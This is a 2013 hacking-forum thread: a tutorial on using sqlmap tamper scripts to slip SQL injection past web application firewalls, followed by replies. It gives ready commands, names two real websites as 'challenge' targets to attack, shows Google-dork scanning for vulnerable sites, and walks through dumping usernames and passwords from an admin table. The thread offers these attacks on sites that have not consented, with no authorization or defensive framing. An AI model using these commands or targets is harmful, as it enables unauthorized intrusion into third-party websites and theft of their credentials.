[TuT] SQLmap WAF bypass+HelpDesk[+]

[TuT] SQLmap WAF bypass+HelpDesk[+] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [TuT] SQLmap WAF bypass+HelpDesk[+] (/showthread.php?tid=3640300)

Pages: Pages 1 2

[TuT] SQLmap WAF bypass+HelpDesk[+] - ๖ۣۜStark - Jul 22, 2013

Hello HF
well i can not say that sqlmap bypass all firewall....but it easy when you are trying to get data from injection, like username and password.
[+]Thankx To K0FIN
==
[#] Requirements
[+] Linux-->Ubuntu-- (I didnt tried in windows)
[+] Python--> sudo apt-get install python
[+] SQLmap-->https://github.com/sqlmapproject/sqlmap

[#] Procedure:
[+] Download sqlmap from above link, extract and open folder "tamper" in sqlmap directory.
-So you look some python script(.py) in directories....
Spoiler (Click to View)

[#] What python tamper script containss?
[+] All script has a various payload to bypass Firewall like,,,,
-->Open any script...(Ex of charencode.py)
Spoiler (Click to View)
[+] So every script has same above structure with various payload.

[#] Useful Tamper script:
[+] If you want to know function of script then open one by one script and follow above picture...

Code 
--charencode.py [My Hot Favourite]

--chardoubleencode.py

--charunicodeencode.py

--halfversionedmorekeywords.py

--ifnull2ifisnull.py [My Hot Favourite]

--modsecurityversioned.py [My Hot Favourite]

--percentage.py

--randomcomments.py

--nonrecursivereplacement.py

--unionalltounion

[#] How to use?
[+] Open terminal...[You must have little bit knowledge about linux..]
[+] cd Sqlmap directory
--Ex of...

Code 
$ cd Downloads/sqlmap-master

[+] Now run...

Code 
./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --tamper=tamperscript.py

[+] If you know that site has union based injection (u) then add ( --technique=u ) on above code. for Error based (e), Blind (b), Time (t)
[+] ANd any tamper script that you want to run like,,,, --tamper=charencode.py
[+] So finally it looks like

Code 
$ ./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --technique=u --tamper=charencode.py

[+] Done

[#] Challenge...
[+] I give you some site which has firewall so you can try on it...

Code 
http://www.booksofwonder.com/event.php?id=75

http://fotodi.ru/vyst.php?id=100

[#] Guest book
[+] If you really learn about something new, then comment your thought..
[+] Thank You

[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem
[+] If you know more about SQLmap then you can also contribute us.

* - 133720 - Jul 22, 2013

Nice Write up man.
Keep it up.I like this tutorial

* - MFFS - Jul 23, 2013

Good tut, but it's always better when you learn to do manual and when you know what you are doing.

* - ๖ۣۜStark - Jul 23, 2013

(Jul 23, 2013 08:06 AM)M4rk096 Wrote: Good tut, but it's always better when you learn to do manual and when you know what you are doing.

Ya yu right...manual is a good thing to learn deeply..
but when you face waf then manual become hard to extract data....

* - diamante - Jul 23, 2013

it a good tutorial bro , thank in advance for this =)

* - ๖ۣۜStark - Jul 23, 2013

[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem

* - 133720 - Jul 23, 2013

how to find sql vul site with sql map?
Can you explain to me?

* - akiratoriyama - Jul 24, 2013

Nice tut bro
Can we use it with Cygwin ???

* - ๖ۣۜStark - Jul 24, 2013

(Jul 23, 2013 09:50 PM)minkoko Wrote: how to find sql vul site with sql map?
Can you explain to me?

Open terminal ...

Code 
$ ./sqlmap.py -g "inurl:gallery.php?id=" --hex --dbms=mysql

-g:-- Is used for finding vilnerability from google dork.
it will fetch google search page data using inputed dork, and find the target is vulnerable or not

(Jul 24, 2013 01:58 AM)akiratoriyama Wrote: Nice tut bro
Can we use it with Cygwin ???

Maybe but you can try windows version of sqlmap, for stable purpose....

* - VipVince - Jul 24, 2013

Too much tools and not enough manual going on.

* - mirkops - Jul 24, 2013

nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!

* - jeni... - Jul 24, 2013

that tamper :)

thanks for the tut . easy to understand

* - ๖ۣۜStark - Jul 24, 2013

(Jul 24, 2013 02:29 PM)mirkops Wrote: nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!

its very easy to inject site

Code 
./sqlmap,py -u 'site' --dbs

after you get database name

Code 
./sqlmap.py -u 'site' -D database_name --tables

you see table names

Code 
./sqlmap.py -u 'site' -D database_name -T admin --columns

You see column name of admin table

Code 
./sqlmap.py-u 'site' -D database_name -T admin -C username,password --dump

It will dump username password from admin table.
However you can use more thing by --help

* - Exusia - Jul 27, 2013

HQ user, helped me with a problem I had. Also a great tutorial to use for blind injection.

* - asdeleslam - Oct 11, 2013

it a good tutorial bro , thank in advance for this